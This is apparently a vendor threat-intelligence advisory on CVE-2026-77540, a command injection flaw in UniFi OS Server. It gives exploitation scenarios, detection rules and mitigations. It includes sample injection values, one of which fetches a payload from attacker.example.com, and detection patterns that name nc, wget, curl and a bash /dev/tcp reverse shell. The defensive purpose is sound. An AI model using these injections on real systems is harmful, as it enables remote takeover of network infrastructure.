CVE-2026-77540

Executive Summary

CVE-2026-77540 is an Improper Input Validation vulnerability in Ubiquiti's UniFi OS Server that enables Command Injection on the host device. A malicious actor with network access and high privileges can achieve full remote code execution with root-level impact, leading to complete compromise of the UniFi OS host and, by extension, the managed network infrastructure. The vulnerability is currently unpatched, carries a CVSS score of 9.1, and affects all versions of UniFi OS Server for which no fix has been released.

Technical Analysis

Vulnerability Class and Mechanism

CVE-2026-77540 falls under CWE-20 (Improper Input Validation). The NVD description states that a malicious actor with network access and high privileges can exploit this flaw to execute Command Injection on the host device. The attack mechanism operates as follows:

1. Attack Vector: Network-based (AV:N) — the attacker does not require local access to the target device.
2. Attack Complexity: Low (AC:L) — no special conditions or race conditions must be overcome.
3. Privileges Required: High (PR:H) — the attacker must already possess elevated privileges (e.g., administrator-level account on the UniFi OS web interface or API).
4. User Interaction: None (UI:N) — the attack does not require any action from a legitimate user.

Command Injection Mechanics

Command Injection occurs when user-supplied input is incorporated into an operating system command without proper sanitization or validation. The UniFi OS Server accepts certain input parameters, and due to the Improper Input Validation flaw, this input is passed to a shell or command interpreter on the host operating system.

The CWE-20 classification indicates that the root cause is a failure to validate, sanitize, or filter input before it is used in a security-sensitive context — in this case, the construction of a system command. While the specific endpoint or parameter names are not disclosed in the NVD description, the vulnerability class is well-understood: an attacker who can submit crafted input to the vulnerable function can break out of the intended command syntax and append arbitrary operating system commands.

Attack Surface

The attack surface is the UniFi OS Server management interface, which typically listens on TCP ports 443 (HTTPS) and 8443 (HTTPS alternative) for web-based administration. The attacker must authenticate as a high-privilege user (administrator or super-admin) before reaching the vulnerable code path. Given the high-privilege requirement, the most likely exploitation scenario involves:

• A compromised administrator account (via credential stuffing, phishing, or credential theft)
• A malicious insider with legitimate administrative access
• Post-exploitation chaining from another vulnerability

Scope and Impact

The CVSS vector indicates Scope: Changed (S:C) — the impact extends beyond the vulnerable component to the host operating system and potentially the entire network managed by the UniFi device. The Confidentiality, Integrity, and Availability impacts are all rated High (C:H/I:H/A:H). Because command injection executes with the privileges of the UniFi OS server process (which runs as root in most deployments), the attacker gains full control of the host device.

Exploitation Scenarios

Attack Chain Overview

Given that no public PoC or exploit code is available, the following exploitation scenario is inferred from the vulnerability class and CVSS metrics.

Scenario 1: Compromised Administrator Credentials

Step 1 — Reconnaissance / Target Identification: The attacker identifies exposed UniFi OS Server instances via internet-wide scanning (e.g., Shodan queries for "UniFi" or "ubnt" banners) or through organizational network discovery. The attacker confirms the target runs UniFi OS Server by fingerprinting the HTTP response headers, login page title, or onboarding API responses.

Step 2 — Privilege Acquisition: The attacker obtains high-privilege credentials through credential stuffing attacks (commonly successful when administrators reuse passwords), phishing campaigns targeting network administrators, or by exploiting an earlier, separate vulnerability to elevate privileges. The attacker logs into the UniFi OS web interface or uses the API with these credentials.

Step 3 — Triggering the Vulnerability: The attacker navigates to the administrative function that contains the Improper Input Validation flaw. Given CWE-20 classification, the vulnerable input field likely accepts arbitrary strings that are later used in shell commands. The attacker submits a crafted input value containing shell metacharacters (e.g., ;, |, &&, backticks, or $(...) substitution) designed to break out of the intended command context.

For example, at the vulnerability-class level, if a field is intended to accept an IP address or hostname that is later passed to a system utility (e.g., ping, traceroute, nslookup), the attacker might inject:

127.0.0.1; id

or

$(wget http://attacker.example.com/payload.sh)

Step 4 — Post-Exploitation Impact: The injected command executes with the privileges of the UniFi OS server process. In standard UniFi OS deployments, this process runs with root privileges, giving the attacker:

• Full read/write/execute access to the filesystem
• Ability to install persistent backdoors (e.g., adding SSH keys, installing rootkits)
• Capability to pivot into the managed network (access to UniFi access points, switches, and gateways)
• Ability to exfiltrate configuration data, WPA keys, VPN credentials, and site secrets
• Denial-of-service capability by shutting down critical services

Scenario 2: Malicious Insider

An administrator with legitimate high-privilege access uses their credentials to exploit the vulnerability deliberately, either for personal gain, data theft, or destruction of network infrastructure. This scenario requires no credential compromise — the attacker already holds the required privileges — and the vulnerability simply provides a more direct path to OS-level control than normal administrative functions would allow.

Regarding Public Exploitation

As of this report, no public PoC, exploit code, or Nuclei template exists for CVE-2026-77540. The attack chain described above is inferred from the vulnerability class (CWE-20/Command Injection) and the CVSS vector. Exploitation is blocked primarily by the high privilege requirement, but it is not blocked by any technical barrier once administrator access is obtained.

Impact Assessment

Business Impact

The CVSS base score of 9.1 reflects a critical-severity vulnerability. The high privilege requirement (PR:H) prevents a perfect 10.0 score, but the escalation from "administrator of network management software" to "root on the underlying host OS" represents a critical privilege boundary crossing.

Affected Systems

• Ubiquiti UniFi OS Server — all versions (no patch exists; affected version range is undetermined)
• UniFi Cloud Key Gen2/Gen2 Plus — devices running UniFi OS
• UniFi Dream Machine / Dream Machine Pro — devices running UniFi OS
• Self-hosted UniFi OS installations — including virtualized deployments and dedicated servers

Blast Radius

The blast radius extends beyond the compromised host. UniFi OS serves as the central management point for:

• UniFi Access Points (Wi-Fi networks)
• UniFi Switches
• UniFi Gateways/USG devices (routing and firewall)
• UniFi Protect (video surveillance)
• UniFi Talk (VoIP communications)
• UniFi Access (physical access control — door locks)

An attacker with root access to the UniFi OS host can push malicious configurations to every managed device in the fleet, effectively taking control of the organization's entire network infrastructure, including physical security systems.

CVSS Subscore Analysis

• Attack Vector: Network (AV:N) — remotely exploitable via the management interface
• Attack Complexity: Low (AC:L) — no special conditions; the vulnerable code path is reachable once authenticated
• Privileges Required: High (PR:H) — administrator-level access needed
• User Interaction: None (UI:N) — no user action required
• Scope: Changed (S:C) — impact crosses the trust boundary from the application to the host OS
• C/I/A: High/High/High — full impact across all security objectives

Detection Guidance

Sigma Rule

title: Potential UniFi OS Command Injection via Admin Interface
id: 9a3f8e2c-5d14-4b6a-9e3c-8f1d2a4b6c7e
status: experimental
description: Detects suspicious input patterns in UniFi OS admin requests that may indicate Command Injection attempts (CVE-2026-77540)
author: Valtersit Threat Intelligence
date: 2026/06/15
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-77540
logsource:
    category: webserver
    product: unifi
detection:
    selection:
        http.url|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$(('
            - '%3b'        # URL-encoded ;
            - '%7c'        # URL-encoded |
            - '%26%26'     # URL-encoded &&
        http.method: ['POST', 'PUT', 'GET']
        c-uri|contains:
            - '/api/'
            - '/proxy/'
            - '/manage/'
    filter_known_good:
        http.url|contains:
            - 'filter='
            - 'q='
        http.url|endswith:
            - '.js'
            - '.css'
            - '.png'
    condition: selection and not filter_known_good
level: high
falsepositives:
    - Legitimate admin use of command-line tools via web interface
    - URL parameters legitimately containing special characters (rare)
tags:
    - attack.command_and_control
    - cve.2026-77540
    - cwe.20

YARA Rule

rule CVE_2026_77540_UniFi_OS_Command_Injection
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects payload patterns associated with UniFi OS command injection attacks"
        cve = "CVE-2026-77540"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-77540"
        date = "2026-06-15"
        severity = "critical"

    strings:
        // Shell metacharacter sequences commonly used in command injection
        $cmd_inject = /([;&|`]|\$\(|\$\(\(|\n)[ \t]*(cat|wget|curl|nc|ncat|bash|sh|python|perl|ruby|id|uname|whoami|ls|chmod|chown|poweroff|reboot|rm[ \t]+-rf|mkfifo|/dev/tcp)\s/
        
        // Encoded variants (URL-encoded shell commands)
        $url_encoded = /%3b|%7c|%26%26|%60|%24%28/
        
        // Upload/persistent backdoor indicators
        $wget = /wget[ \t]+-O[ \t]+\/tmp/ nocase
        $curl = /curl[ \t]+-o[ \t]+\/tmp/ nocase
        $reverse_shell = /bash[ \t]+-i[ \t]+[>&][ \t]*\/dev\/tcp/ nocase

    condition:
        any of ($cmd_inject) and (any of ($url_encoded) or any of ($wget, $curl, $reverse_shell))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-77540 - UniFi OS Command Injection Attempt"; flow:established,to_server; content:"POST"; http_method; content:"/api/"; http_uri; nocase; pcre:"/(?:;|\||&&|`|\$\(|<|>).{0,100}(?:id|cat|wget|curl|nc|bash|sh|uname|whoami)/i"; classtype:attempted-admin; reference:cve,2026-77540; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-77540; sid:202677540; rev:1; priority:1;)

alert http any any -> $HOME_NET any (msg:"CVE-2026-77540 - UniFi OS Encoded Command Injection"; flow:established,to_server; content:"POST"; http_method; content:"/api/"; http_uri; nocase; pcre:"/(?:%3b|%7c|%26%26|%60|%24%28).{0,200}?(?:%2f(?:bin%2f)?(?:sh|bash)|wget|curl)/i"; classtype:attempted-admin; reference:cve,2026-77540; sid:202677541; rev:1; priority:1;)

Elastic Detection

// Detect requests to UniFi OS admin endpoints containing shell metacharacters
sequence by source.ip with maxspan=5m
  [ network where destination.port in (443, 8443) and protocol == "http" and
    http.request.method in ("POST", "PUT") and
    http.request.body.text matches "[;|&`\\$].{0,100}(cat|wget|curl|nc|bash|sh|id|uname|whoami)" ]
  [ process where event.type == "start" and
    process.name in ("sh", "bash", "dash", "ash", "zsh") and
    process.command_line matches "(cat|wget|curl|nc|bash|sh|id|uname|whoami)" ]

Splunk SPL Query

index=web sourcetype=unifi:os:http
| where like(uri, "%/api/%") AND like(uri, "%/proxy/%") OR like(uri, "%/manage/%")
| regex _raw = "(;|\||&&|`|\$\(|<|>|%3b|%7c|%26%26|%60|%24%28)\s*(cat|wget|curl|nc|ncat|bash|sh|python|perl|ruby|id|uname|whoami|ls|chmod|chown)"
| stats count by src_ip, dest_ip, uri, http_user_agent, _time
| sort - _time
| where count > 3

Wazuh OSSEC Rule

<group name="unifi_os,">
    <rule id="100775" level="14">
        <decoded_as>json</decoded_as>
        <field name="event_type">^http$</field>
        <field name="http.url" type="pcre2">(?i)(/api/|/proxy/|/manage/)</field>
        <field name="http.request.body" type="pcre2">(?i)([;&|`]|\$\(|<|>|%3b|%7c|%26%26|%60|%24%28)\s*(cat|wget|curl|nc|ncat|bash|sh|python|perl|ruby|id|uname|whoami|ls|chmod|chown)</field>
        <description>UniFi OS - possible Command Injection exploit attempt (CVE-2026-77540)</description>
        <mitre>
            <id>T1190</id>
        </mitre>
        <group>unifi_os,attack_command_injection,cve_2026_77540,</group>
    </rule>

    <rule id="100776" level="15">
        <if_sid>100775</if_sid>
        <field name="alert.severity">^critical$</field>
        <description>UniFi OS - CRITICAL Command Injection attempt confirmed (CVE-2026-77540)</description>
        <group>unifi_os,attack_command_injection,cve_2026_77540,</group>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Status

UNPATCHED — Patch confidence is 0/4. No vendor advisory, patch, or security update has been released for CVE-2026-77540. The affected version range is not yet defined, but all current UniFi OS builds must be considered vulnerable until a fix is available.

1. Immediate Mitigations (Until Patch is Released)

1. Restrict Network Access: Place the UniFi OS Server management interface (ports 443, 8443) behind a firewall or VPN. Do not expose the admin interface directly to the internet. Limit access to trusted administrative IP ranges only.
2. Enforce MFA: Require multi-factor authentication (MFA) for all UniFi OS administrator accounts. This significantly raises the bar for credential compromise, which is the primary attack path given the PR:H requirement.
3. Audit Admin Accounts: Review all UniFi OS administrator accounts. Remove unused accounts, enforce least privilege, and ensure no shared or default credentials are in use.
4. Monitor Admin Activity: Enable and actively monitor UniFi OS audit logs for unusual administrative actions, especially API calls containing shell metacharacters.
5. Segment the Network: Isolate the UniFi OS host from the general corporate network to limit lateral movement if the device is compromised.

2. Patch / Upgrade Steps

• Monitor the Ubiquiti Security Advisory page (community.ui.com) and NVD for an official fix.
• When a patched version is released, apply it promptly to all UniFi OS instances:
  • UniFi Cloud Key devices
  • UniFi Dream Machine / Dream Machine Pro
  • Self-hosted UniFi OS installations
• Test the patch in a staging environment before production deployment, given that UniFi OS updates can impact managed devices.
• After patching, rotate all administrative credentials and review system logs for evidence of prior exploitation.

3. Long-Term Hardening

1. Disable Remote Management: Disable remote access to the UniFi controller unless absolutely necessary. When required, use a VPN with MFA rather than direct exposure.
2. Regular Credential Rotation: Implement a policy of rotating UniFi OS admin credentials every 90 days or after any suspected compromise.
3. Honeypots / Deception: Deploy honeypot accounts or decoy UniFi instances to detect reconnaissance and credential-stuffing attempts.
4. Network Monitoring: Deploy Suricata or another IDS/IPS in front of the UniFi management interface to detect the command injection patterns described in the Detection Guidance section.
5. Vendor Communication: Subscribe to Ubiquiti's security advisory distribution list and ensure your team is alerted immediately when a CVE fix is released.
6. Backup and Recovery: Maintain verified backups of UniFi OS configurations and managed device settings to facilitate rapid recovery after a compromise.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-77540
2. Ubiquiti Security Advisories: https://community.ui.com/releases (monitor for future patch announcement)
3. MITRE CWE-20: https://cwe.mitre.org/data/definitions/20.html
4. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-77540 NOT currently listed)

Threat Actor Campaigns / Exploit-in-the-Wild Evidence: As of the date of this report, there is no known public exploit code, no evidence of exploitation in the wild, and no documentation of threat actor campaigns targeting CVE-2026-77540. The CVE is not listed in the CISA KEV catalog. However, given the criticality of the vulnerability and the widespread deployment of UniFi networking products in enterprise environments, active exploitation is considered likely once public exploit details emerge or if administrator credentials are compromised at scale.

Report generated by Valtersit Threat Intelligence. This report is based solely on the CVE intelligence data provided. Specific technical details not present in the NVD description have been intentionally omitted to maintain accuracy.